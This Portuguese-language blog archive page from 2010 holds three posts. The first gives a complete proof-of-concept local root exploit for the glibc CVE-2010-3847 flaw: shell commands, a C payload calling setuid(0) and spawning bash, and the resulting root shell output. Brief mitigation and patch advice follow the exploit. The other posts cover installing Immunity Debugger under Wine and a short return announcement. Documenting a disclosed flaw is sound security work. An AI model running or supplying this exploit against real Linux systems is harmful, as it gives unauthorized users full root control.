Arquivo para outubro, 2010

Executando o exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilégios -> root em qualquer Linux

Posted in exploits, linux on 20/10/2010 by firebits

Executando o exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilégios -> root em qualquer Linux

A falha que estou falando é notícia no site underlinux.org
http://under-linux.org/privilegios-de-root-atraves-de-vulnerabilidade-na-biblioteca-gnu-c-1855/ e maiores detalhes em:
https://bugzilla.redhat.com/show_bug.cgi?id=643306 e em http://secunia.com/advisories/cve_reference/CVE-2010-3847/, pois até a data deste artigo a pedido do fabricante não liberam no CVE, mais informações

OBS: Testado e comprovado com sucesso em VM local que produzi em LAB, mas não utilizando a produção ou derivados. Tenha cuidado.
O autor deste artigo não se responsabiliza por dados mediante este artigo ou derivados.

PoC Exploit (Proof of Concept Exploit)

Crie um usuário teste, set a senha e depois autentique com o mesmo

$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system(“/bin/bash”);
}
^D
(Ctrl+D) <— parte as teclas para salvar e sair

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
$ LD_AUDIT=”\$ORIGIN” exec /proc/self/fd/3
# whoami
root
id
uid=0(root) gid=500(teste)

Mitigação
========
Evitar de criar usuários em filesystems sem permissão nosuid
Caso não seja possível, há um paleativo:

# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp

Solução
=======
Atualizar glibc-2.5.49.el5_5.i686 -> com yum update caso já haja glibc atual.

Foi exploitado sem sucesso em uma VM Local no CentOS 5.5, sem sucesso. O que pude concluir que a atualização da glibc contorna a falha, mas deve-se avaliar melhor e com cautela, pois a atualização da glibc, sem total atualização do SO de CentOS 5.3 -> CentOS 5.5 pode o acarretar em “crash” total do SO, devido à esta biblioteca ser uma das principais do SO.

Qualquer dúvida, estou à disposição.

@firebitsbr
firebits.wordpress.com
http://www.backtrack.com.br
http://www.backtrack-linux.org
firebits@backtrack.com.br

Backtrack 4 RC1 – HowTo Install Immunity Debugger by Wine

Posted in debuggers on 18/10/2010 by firebits

link for download:
IMMUNITY : Knowing You’re Secure

News
IMMUNITY : Knowing You’re Secure

Immunity Debugger is a powerful new way to write exploits, analyze malware, and reverse engineer binary files. It builds on a solid user interface with function graphing, the industry’s first heap analysis tool built specifically for heap creation, and a large and well supported Python API for easy extensibility.

  • A debugger with functionality designed specifically for the security industry
  • Cuts exploit development time by 50%
  • Simple, understandable interfaces
  • Robust and powerful scripting language for automating intelligent debugging
  • Lightweight and fast debugging to prevent corruption during complex analysis
  • Connectivity to fuzzers and exploit development tools

The Best of Both Worlds
Immunity Debugger’s interfaces include the GUI and a command line. The command line is always available at the bottom of the GUI. It allows the user to type shortcuts as if they were in a typical text-based debugger, such as WinDBG or GDB. Immunity has implemented aliases to ensure that your WinDBG users do not have to be retrained and will get the full productivity boost that comes from the best debugger interface on the market.

Commands can be extended in Python as well, or run from the menu-bar.

HowTo Install Immunity Debugger by Wine

Step 1
Create folders in:

/pentest/re/immunity_debugger

Step 2a
Click in file:
ImmunityDebugger_1_73_setup.exe

Step 2b
Click in “I Agree”

Step 3
Click in “Install” and use Path C:\Program Files\Immunity Inc\Immunity Debugger

Step 4
Download Python 2.7 Release

Step 5
Execute shell:
#wine msiexec /i python-2.7.msi

Step 6
Option “Install for all users”

C:\Python27\
next, next, next and Finish

Step 7
Delete desktop icon “Immunity Debugger”

Step 8
– Click “Dragon Icon” right click and click “Menu Editor”
– Move Menu “Wine->Programs->Immunity Inc->” to “Backtrack”->Reverse Engineering””

Step 9
Save “menu editor” File->Save

Step 10
Click “Dragon Icon”->”Backtrack”->”Reverse Engineering”->”Immunity Inc”->”Immunity Debugger”->”Immunity Debugger”

Happy Exploits, Shellcodes, Nops:)

@firebitsbr

Depois do “freezer” de alguns meses…voltamos!!!

Posted in Sem categoria on 17/10/2010 by firebits

Depois do “freezer” de alguns meses…voltamos!!! Estou com novas idéias, artigos e dicas.